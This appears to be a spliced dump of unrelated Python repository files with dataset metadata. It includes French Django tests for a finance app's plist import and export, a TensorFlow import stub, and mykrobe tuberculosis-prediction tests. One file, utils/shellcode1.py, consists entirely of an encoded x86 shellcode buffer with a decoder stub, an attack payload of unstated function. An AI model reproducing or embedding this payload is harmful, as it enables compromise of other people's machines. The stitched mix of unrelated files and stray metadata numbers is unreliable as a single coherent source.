supprimer une categorie par defaut""" models.Cat.objects.create(pk=2, nom="Cat ost", type="r", couleur='#FFFFFF') with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(("impossible de supprimer la catégorie (2)", ), exception_context_manager.exception.args) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_12_1")) def test_element_import12_1(self): """ttest suprr d'une cat""" lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "catégorie (Cat aded) #16 supprimée") class Test_import_item_modif_effectives_cote_compte(Test_import_abstract): def setUp(self): self.request = self.request_get('outils') self.lastmaj = datetime.datetime(2014, 6, 15, 00, 25, 14, tzinfo=tz.utc) self.cpt = models.Compte.objects.create(pk=7, nom='hjhjhkh', couleur=0) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_4")) def test_element_import5(self): """exception si compte deja cree""" with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ("attention le compte (7) 'Ghh' existe déja alors qu'on demande de le créer", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_13")) def test_element_import13(self): """ttest si modif compte avec le nom deja cree""" self.cpt.couleur = "#FFFFFF" self.cpt.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "compte (7) 'hjhjhkh' modifié comme ca: couleur: #FFFFFF => #000000") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_14")) def test_element_import14(self): """ttest si suppr alors que compte pas cree""" self.cpt.delete() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention le compte 7 n'existe pas pour ce nom (hjhjhkh) alors qu'on demande de le supprimer", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_15")) def test_element_import15(self): """ttest si suppr alors que compte deja utilise ds ope""" cat = models.Cat.objects.create(pk=16, nom="Cat aded", type="r", couleur='#FFFFFF') moyen = models.Moyen.objects.create(id=settings.MD_CREDIT, nom="dd", type="r") models.Ope.objects.create(compte=self.cpt, date=datetime.date(2014, 6, 15), montant=250, tiers=models.Tiers.objects.get_or_create(nom="tiers", defaults={'nom': "tiers"})[0], cat=cat, moyen=moyen) with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ("compte non supprimable (7) 'hjhjhkh' car il a des opérations ou des écheances rattachées", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_16")) def test_element_import16(self): """ttest suppr d'un compte""" lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "compte (7) 'hjhjhkh' supprimé") class Test_import_item_modif_effectives_cote_ope(Test_import_abstract): def setUp(self): self.request = self.request_get('outils') self.lastmaj = datetime.datetime(2014, 6, 15, 00, 25, 14, tzinfo=tz.utc) self.cat = models.Cat.objects.create(pk=1, nom="Cat aded", type="d", couleur=0) self.cat2 = models.Cat.objects.create(pk=2, nom="Cat aded2", type="d", couleur=0) self.cpt = models.Compte.objects.create(pk=1, nom='Ghh', couleur=0) self.cpt2 = models.Compte.objects.create(pk=2, nom='Ghh2', couleur=0) self.moyen_credit = models.Moyen.objects.create(id=settings.MD_CREDIT, nom="rr", type="r") self.moyen_debit = models.Moyen.objects.create(id=settings.MD_DEBIT, nom="dd", type="d") self.tiers = models.Tiers.objects.get_or_create(nom="Ope standart", defaults={'nom': "Ope standart"})[0] self.tiers2 = models.Tiers.objects.get_or_create(nom="tiers2", defaults={'nom': "tiers2"})[0] self.ope = models.Ope.objects.create(pk=66, compte=self.cpt2, date=datetime.date(2013, 6, 15), montant=25, tiers=self.tiers2, cat=self.cat2, moyen=self.moyen_credit) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_17")) def test_element_import17(self): """si un compte pour une ope n'existe pas""" self.ope.delete() self.cpt.delete() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention le compte (1) n'existe pas alors qu'on le demande pour l'opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_18")) def test_element_import18(self): """si une categorie pour une ope n'existe pas""" self.ope.delete() self.cat.delete() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention la catégorie (1) n'existe pas alors qu'on le demande pour l'opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_19")) def test_element_import19(self): """si une ope existe deja""" with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention l'opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 existe déja alors qu'on demande de la créer", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_20")) def test_element_import20(self): """test ope cree sans probleme""" self.ope.delete() self.tiers.delete() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "tiers 'Ope standart' créé") self.assertEqual(str(models.Ope.objects.get(id=66)), "(66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: Ghh") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_21")) def test_element_import21(self): """test ope cree sans probleme""" self.ope.delete() self.cat.delete() self.cpt.delete() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertEqual(str(models.Ope.objects.get(id=66)), "(66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: hjhjhkh") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_22")) def test_element_import22(self): """test si ope a mofifier n'existe pas""" self.ope.delete() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 n'existe pas alors qu'on demande de la modifier", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_23")) def test_element_import23(self): """test si ope mere""" fille = models.Ope.objects.create(pk=67, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=-10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_debit) fille.mere = self.ope fille.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est mère") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_23")) def test_element_import24(self): """test si ope fille""" mere = models.Ope.objects.create(pk=67, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=-10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_debit) self.ope.mere = mere self.ope.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est fille", ) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_23")) def test_element_import25(self): """test si ope rapprochee""" rapp = models.Rapp.objects.create(nom="test_rapp") self.ope.rapp = rapp self.ope.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est rapprochée", ) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_23")) def test_element_import26(self): """test si ope avec compte ferme""" self.cpt2.ouvert = False self.cpt2.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car son compte est fermé", ) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_23")) def testelement_import27(self): """test si ope jumelle""" jumelle = models.Ope.objects.create(pk=67, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_credit) self.ope.jumelle = jumelle self.ope.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est jumellée", ) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_23")) def test_element_import28(self): """test si modif d'ope pointee""" self.ope.pointe = True self.ope.save() lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "impossible de modifier cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est pointée", ) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import31(self): """test si ope n'existe pas alors qu'elle va etre supprimer""" self.ope.delete() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ("attention cette opération 66 n'existe pas alors qu'on demande de la supprimer", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import32(self): """test supprimeer une mere""" fille = models.Ope.objects.create(pk=67, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=-10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_debit) fille.mere = self.ope fille.save() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "impossible de supprimer cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est mère", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import33(self): """test si ope fille""" mere = models.Ope.objects.create(pk=67, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=-10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_debit) self.ope.mere = mere self.ope.save() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "impossible de supprimer cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est fille", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import34(self): """test si ope rapprochee""" rapp = models.Rapp.objects.create(nom="test_rapp") self.ope.rapp = rapp self.ope.save() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "impossible de supprimer cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est rapprochée", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import35(self): """test si ope avec compte ferme""" self.cpt2.ouvert = False self.cpt2.save() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "impossible de supprimer cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car son compte est fermé", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import36(self): """test si ope jumelle""" jumelle = models.Ope.objects.create(pk=67, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_credit) self.ope.jumelle = jumelle self.ope.save() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "impossible de supprimer cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est jumellée", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import37(self): """test si modif d'ope pointee""" self.ope.pointe = True self.ope.save() with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "impossible de supprimer cette opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 car elle est pointée", )) @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import38(self): """test si ope modifie sans probleme""" self.ope.delete() self.ope = models.Ope.objects.create(pk=66, compte=self.cpt, date=datetime.date(2014, 6, 16), montant=-10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_debit) lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.assertmessagecontains(self.request, "opération (66) le 16/06/2014 : -10.25 EUR tiers: Ope standart cpt: 1 supprimée") @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "import_plist_31")) def test_element_import39(self): """test si ope modifie""" self.ope.delete() self.ope = models.Ope.objects.create(pk=66, compte=self.cpt, date=datetime.date(2014, 6, 15), montant=-10.25, tiers=self.tiers, cat=self.cat, moyen=self.moyen_debit) with self.assertRaises(Lecture_plist_exception) as exception_context_manager: lecture_plist.import_items(lastmaj=self.lastmaj, request=self.request) self.compare(exception_context_manager.exception.args, ( "attention cette opération 66 existe alors qu'on demande de la supprimer mais elle est différente :\nDATE:\t2014-06-15!= 2014-06-16",)) @override_settings(CODE_DEVICE_POCKET_MONEY='totototo') @override_settings(DIR_DROPBOX=os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "export_plist")) class Test_import_money_journal_export(Test_import_abstract): fixtures = ['test_money_journal.yaml', ] def setUp(self): self.request = self.request_get('outils') self.exp = Export_icompta_plist(request=self.request) directory = os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "export_plist", 'Applications', 'Money Journal', 'log') efface = list() for root, dirs, files in os.walk(directory, topdown=False): for name in files: efface.append(os.path.join(root, name)) os.remove(os.path.join(root, name)) for root, dirs, files in os.walk(directory, topdown=False): for name in dirs: efface.append(os.path.join(root, name)) os.rmdir(os.path.join(root, name)) def comp_file(self, filename, nom): attendu = os.path.join("export_plist_attendu", 'Applications', 'Money Journal', 'log', '140', '3', '4', filename) recu = os.path.join("export_plist", 'Applications', 'Money Journal', 'log', '140', '3', '4', filename) self.assert2filesequal(recu, attendu, nom=nom) def test_global(self): # on efface la table db_log models.Db_log.objects.all().delete() #cat modifie models.Db_log.objects.create(datamodel="cat", id_model=1, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07901") #cat cree models.Db_log.objects.create(datamodel="cat", id_model=2, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07902") models.Db_log.objects.create(datamodel="cat", id_model=72, type_action="I", uuid="51a0004d-7f28-427b-8cf7-44ad2ac07972") # c'est une modification d'une operation qui a ete efface (donc qui ne vas pas etre maj) models.Db_log.objects.create(datamodel="cat", id_model=35, type_action="I", uuid="51a0004d-7f28-427b-8cf7-44ad2ac07972") models.Cat.objects.filter(id=4).delete() # la cat 4 a ete efface models.Db_log.objects.create(datamodel="cat", id_model=4, type_action="D", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a01") models.Compte.objects.filter(id=1).update(nom="compte_modifie") models.Compte.objects.create(id=3, nom="Compte nouveau") models.Db_log.objects.create(datamodel="compte", id_model=1, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a01") models.Db_log.objects.create(datamodel="compte", id_model=3, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a01") #on mock les opes models.Db_log.objects.create(datamodel="ope", id_model=1, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a01") models.Db_log.objects.create(datamodel="ope", id_model=2, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a02") models.Db_log.objects.create(datamodel="ope", id_model=3, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a03") models.Db_log.objects.create(datamodel="ope", id_model=8, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a08") models.Db_log.objects.create(datamodel="ope", id_model=9, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a09") models.Db_log.objects.create(datamodel="ope", id_model=11, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a10") models.Db_log.objects.create(datamodel="ope", id_model=12, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a11") models.Db_log.objects.create(datamodel="ope", id_model=13, type_action="U", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a12") models.Db_log.objects.create(datamodel="ope", id_model=14, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a13") models.Db_log.objects.create(datamodel="ope", id_model=15, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a14") models.Db_log.objects.create(datamodel="ope", id_model=16, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a15") models.Db_log.objects.create(datamodel="ope", id_model=17, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a16") models.Db_log.objects.create(datamodel="ope", id_model=18, type_action="I", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a17") models.Db_log.objects.create(datamodel="ope", id_model=19, type_action="D", uuid="51a6674d-7f28-427b-8cf7-25ad2ac07a18") date_time_action = datetime.datetime(2014, 6, 23, 18, 51, 40, tzinfo=tz.utc) models.Db_log.objects.all().update(date_time_action=date_time_action) mock_date = self.add_minutes(tz.make_aware(datetime.datetime(2014, 6, 23, 0, 0, 0), timezone=tz.utc)) #test effectif with mock.patch('gsb.utils.timezone.now', mock_date.now): nb = self.exp.all_since_date(datetime.datetime(2014, 1, 21, 19, 27, 14, tzinfo=tz.utc)) # compare nb compare(nb, collections.Counter({'global': 20, 'ope': 14, 'cat': 4, 'compte': 2})) #compare la liste des fichier attendu = os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "export_plist_attendu", 'Applications', 'Money Journal') recu = os.path.join(settings.PROJECT_PATH, "gsb", "test_files", "export_plist", 'Applications', 'Money Journal') list_fic_recu = list() list_fic_attendu = list() for root, dirs, files in os.walk(recu, topdown=False): for name in files: list_fic_recu.append(os.path.basename(os.path.join(root, name))) for root, dirs, files in os.walk(attendu, topdown=False): for name in files: list_fic_attendu.append(os.path.basename(os.path.join(root, name))) compare(list_fic_recu, list_fic_attendu) #compare chaque fichier self.comp_file('1403481660000.log', "export_plist_cat_modif") self.comp_file('1403481720000.log', "export_plist_cat_crea") self.comp_file('1403481780000.log', "export_plist_cat_vir_eff") self.comp_file('1403481840000.log', "export_plist_cat_vir") self.comp_file('1403481900000.log', "export_plist_compte_update") self.comp_file('1403481960000.log', "export_plist_compte_insert") self.comp_file('1403482020000.log', "export_plist_ope1_modifie_negatif") self.comp_file('1403482080000.log', "export_plist_ope2_modifie_positif") self.comp_file('1403482140000.log', "export_plist_ope3_ost") self.comp_file('1403482200000.log', "export_plist_ope8_virement_sortie") self.comp_file('1403482260000.log', "export_plist_ope9_virement_entree") self.comp_file('1403482320000.log', "export_plist_ope11_ope_ventile_mere") self.comp_file('1403482380000.log', "export_plist_ope12_ope_fille_1") self.comp_file('1403482440000.log', "export_plist_ope13_ope_fille_2") self.comp_file('1403482500000.log', "export_plist_ope14_vir_cree_sortie") self.comp_file('1403482560000.log', "export_plist_ope15_vir_cree_entree") self.comp_file('1403482620000.log', "export_plist_ope16_ope_mere_cree") self.comp_file('1403482680000.log', "export_plist_ope17_ope_fille_cree_1") self.comp_file('1403482740000.log', "export_plist_ope18_ope_fille_cree_2") self.comp_file('1403482800000.log', "export_plist_ope19_efface")

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0.771865

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1

0

null

0

6

c4f35e4a20d916693386c8ffce742c7492271f19

1,684

py

Python

utils/shellcode1.py

sivak1rl/bin-scripts

e015ce5ee589a9beb8be63bc18728452ef634d61

[ "MIT" ]

null

utils/shellcode1.py

sivak1rl/bin-scripts

e015ce5ee589a9beb8be63bc18728452ef634d61

[ "MIT" ]

null

utils/shellcode1.py

sivak1rl/bin-scripts

e015ce5ee589a9beb8be63bc18728452ef634d61

[ "MIT" ]

null

buf = "" buf += "\xdb\xdd\xd9\x74\x24\xf4\x58\xbf\x63\x6e\x69\x90\x33" buf += "\xc9\xb1\x52\x83\xe8\xfc\x31\x78\x13\x03\x1b\x7d\x8b" buf += "\x65\x27\x69\xc9\x86\xd7\x6a\xae\x0f\x32\x5b\xee\x74" buf += "\x37\xcc\xde\xff\x15\xe1\x95\x52\x8d\x72\xdb\x7a\xa2" buf += "\x33\x56\x5d\x8d\xc4\xcb\x9d\x8c\x46\x16\xf2\x6e\x76" buf += "\xd9\x07\x6f\xbf\x04\xe5\x3d\x68\x42\x58\xd1\x1d\x1e" buf += "\x61\x5a\x6d\x8e\xe1\xbf\x26\xb1\xc0\x6e\x3c\xe8\xc2" buf += "\x91\x91\x80\x4a\x89\xf6\xad\x05\x22\xcc\x5a\x94\xe2" buf += "\x1c\xa2\x3b\xcb\x90\x51\x45\x0c\x16\x8a\x30\x64\x64" buf += "\x37\x43\xb3\x16\xe3\xc6\x27\xb0\x60\x70\x83\x40\xa4" buf += "\xe7\x40\x4e\x01\x63\x0e\x53\x94\xa0\x25\x6f\x1d\x47" buf += "\xe9\xf9\x65\x6c\x2d\xa1\x3e\x0d\x74\x0f\x90\x32\x66" buf += "\xf0\x4d\x97\xed\x1d\x99\xaa\xac\x49\x6e\x87\x4e\x8a" buf += "\xf8\x90\x3d\xb8\xa7\x0a\xa9\xf0\x20\x95\x2e\xf6\x1a" buf += "\x61\xa0\x09\xa5\x92\xe9\xcd\xf1\xc2\x81\xe4\x79\x89" buf += "\x51\x08\xac\x1e\x01\xa6\x1f\xdf\xf1\x06\xf0\xb7\x1b" buf += "\x89\x2f\xa7\x24\x43\x58\x42\xdf\x04\xa7\x3b\xde\xac" buf += "\x4f\x3e\xe0\x57\xa9\xb7\x06\x0d\xd9\x91\x91\xba\x40" buf += "\xb8\x69\x5a\x8c\x16\x14\x5c\x06\x95\xe9\x13\xef\xd0" buf += "\xf9\xc4\x1f\xaf\xa3\x43\x1f\x05\xcb\x08\xb2\xc2\x0b" buf += "\x46\xaf\x5c\x5c\x0f\x01\x95\x08\xbd\x38\x0f\x2e\x3c" buf += "\xdc\x68\xea\x9b\x1d\x76\xf3\x6e\x19\x5c\xe3\xb6\xa2" buf += "\xd8\x57\x67\xf5\xb6\x01\xc1\xaf\x78\xfb\x9b\x1c\xd3" buf += "\x6b\x5d\x6f\xe4\xed\x62\xba\x92\x11\xd2\x13\xe3\x2e" buf += "\xdb\xf3\xe3\x57\x01\x64\x0b\x82\x81\x84\xee\x06\xfc" buf += "\x2c\xb7\xc3\xbd\x30\x48\x3e\x81\x4c\xcb\xca\x7a\xab" buf += "\xd3\xbf\x7f\xf7\x53\x2c\xf2\x68\x36\x52\xa1\x89\x13"

58.068966

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0

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0

1

0

1

0

1

null

1

0

6

c4fc4ef35df875b9db5179eb056f16dece60bdc1

195

py

Python

ttest.py

AaPaul/segnet1

2e8196a15c2b9ac2b2d5f712c10c4278e8df5dec

[ "MIT" ]

null

ttest.py

AaPaul/segnet1

2e8196a15c2b9ac2b2d5f712c10c4278e8df5dec

[ "MIT" ]

null

ttest.py

AaPaul/segnet1

2e8196a15c2b9ac2b2d5f712c10c4278e8df5dec

[ "MIT" ]

null

import tensorflow as tf from tensorflow.python.framework import ops from tensorflow.python.framework import dtypes import os, sys import numpy as np import math import skimage import skimage.io

19.5

46

0.835897

30

195

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0.245399

0.355828

0.429448

0

0.133333

195

9

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21.666667

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true

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null

0

1

0

1

0

1

0

6

f2013b6d3afe7e6fca516e3757efcc921839062f

4,716

py

Python

python/clockwork/tests/mykrobe_test.py

oxfordmmm/clockwork

be1f6ea49debf8cb2b8f1ba974df2dc567d150fd

[ "MIT" ]

1

2020-01-10T06:43:39.000Z

python/clockwork/tests/mykrobe_test.py

oxfordmmm/clockwork

be1f6ea49debf8cb2b8f1ba974df2dc567d150fd

[ "MIT" ]

null

python/clockwork/tests/mykrobe_test.py

oxfordmmm/clockwork

be1f6ea49debf8cb2b8f1ba974df2dc567d150fd

[ "MIT" ]

null

import unittest import os import shutil from clockwork import mykrobe, utils modules_dir = os.path.dirname(os.path.abspath(mykrobe.__file__)) data_dir = os.path.join(modules_dir, 'tests', 'data', 'mykrobe') class TestMykrobe(unittest.TestCase): def test_run_predict_and_check_susceptibility(self): '''test run_predict and susceptibility_dict_from_json_file''' reads_file = os.path.join(data_dir, 'run_predict.reads.fq.gz') tmp_out = 'tmp.mykrobe_run_predict' mykrobe.run_predict([reads_file], tmp_out, 'sample_name', 'tb') json_file = os.path.join(tmp_out, 'out.json') suscept_data = mykrobe.susceptibility_dict_from_json_file(json_file) for drug in suscept_data: if drug == 'Isoniazid': self.assertEqual('R', suscept_data[drug]['predict']) else: self.assertEqual('S', suscept_data[drug]['predict']) shutil.rmtree(tmp_out) def test_run_predict_and_check_susceptibility_custom_panel(self): '''test run_predict and susceptibility_dict_from_json_file with custom panel''' # rerun the prvious test, but with custom probe and js on file. These just have the # embB_D328Y muatation. Should be susceptible reads_file = os.path.join(data_dir, 'run_predict.reads.fq.gz') tmp_out = 'tmp.mykrobe_run_predict' custom_probe = os.path.join(data_dir, 'run_predict.probes.fa') custom_json = os.path.join(data_dir, 'run_predict.json') mykrobe.run_predict([reads_file, reads_file], tmp_out, 'sample_name', 'tb', custom_probe_and_json=(custom_probe, custom_json)) json_file = os.path.join(tmp_out, 'out.json') suscept_data = mykrobe.susceptibility_dict_from_json_file(json_file) for drug in suscept_data: if drug == 'Ethambutol': self.assertEqual('S', suscept_data[drug]['predict']) else: self.assertEqual('N', suscept_data[drug]['predict']) shutil.rmtree(tmp_out) def test_run_predict_and_check_susceptibility_fake_run_resistant(self): '''test run_predict and susceptibility_dict_from_json_file in unittest mode with resistant call''' reads_file = os.path.join(data_dir, 'run_predict.reads.fq.gz') tmp_out = 'tmp.mykrobe_run_predict' mykrobe.run_predict([reads_file], tmp_out, 'sample_name', 'tb', unittest=True, unittest_resistant=True) json_file = os.path.join(tmp_out, 'out.json') suscept_data = mykrobe.susceptibility_dict_from_json_file(json_file) for drug in suscept_data: if drug == 'Isoniazid': self.assertEqual('R', suscept_data[drug]['predict']) else: self.assertEqual('S', suscept_data[drug]['predict']) shutil.rmtree(tmp_out) def test_run_predict_and_check_susceptibility_fake_run_susceptible(self): '''test run_predict and susceptibility_dict_from_json_file in unittest mode with no resistant calls''' reads_file = os.path.join(data_dir, 'run_predict.reads.fq.gz') tmp_out = 'tmp.mykrobe_run_predict' mykrobe.run_predict([reads_file], tmp_out, 'sample_name', 'tb', unittest=True, unittest_resistant=False) json_file = os.path.join(tmp_out, 'out.json') suscept_data = mykrobe.susceptibility_dict_from_json_file(json_file) for drug in suscept_data: self.assertEqual('S', suscept_data[drug]['predict']) shutil.rmtree(tmp_out) def test_panel_not_built_in(self): '''test Panel not built-in''' species = 'tb' name = 'panel_name' panel_dir = 'tmp.mykrobe.panel' custom_probe = os.path.join(data_dir, 'run_predict.probes.fa') custom_json = os.path.join(data_dir, 'run_predict.json') panel = mykrobe.Panel(panel_dir) panel.setup_files(species, name, custom_probe, custom_json) self.assertTrue(os.path.exists(panel.probes_fasta)) self.assertTrue(os.path.exists(panel.var_to_res_json)) self.assertEqual(species, panel.metadata['species']) self.assertEqual(name, panel.metadata['name']) self.assertFalse(panel.metadata['is_built_in']) shutil.rmtree(panel_dir) def test_panel_built_in(self): '''test Panel built-in''' species = 'tb' name = 'walker-2015' panel_dir = 'tmp.mykrobe.panel' panel = mykrobe.Panel(panel_dir) panel.setup_files(species, name, None, None) self.assertEqual(species, panel.metadata['species']) self.assertEqual(name, panel.metadata['name']) self.assertTrue(panel.metadata['is_built_in']) shutil.rmtree(panel_dir)

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134

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4,716

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0.043247

0.045243

0.825017

0.770792

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0.709248

0.681304

0

0.001876

0.208651

4,716

100

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false

0

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0.141026

0

null

0

1

0

null

0

6

48050dae99fe7bd295da8ffa2e3e1b4c7977d671

9,512

py

Python

openmdao/components/tests/test_mux_comp.py

fzahle/OpenMDAO

ce53b0a0862ac1162d5daad7b0ca34ae085ee47c

[ "Apache-2.0" ]

1

2016-05-10T17:01:17.000Z

openmdao/components/tests/test_mux_comp.py

gsoxley/OpenMDAO

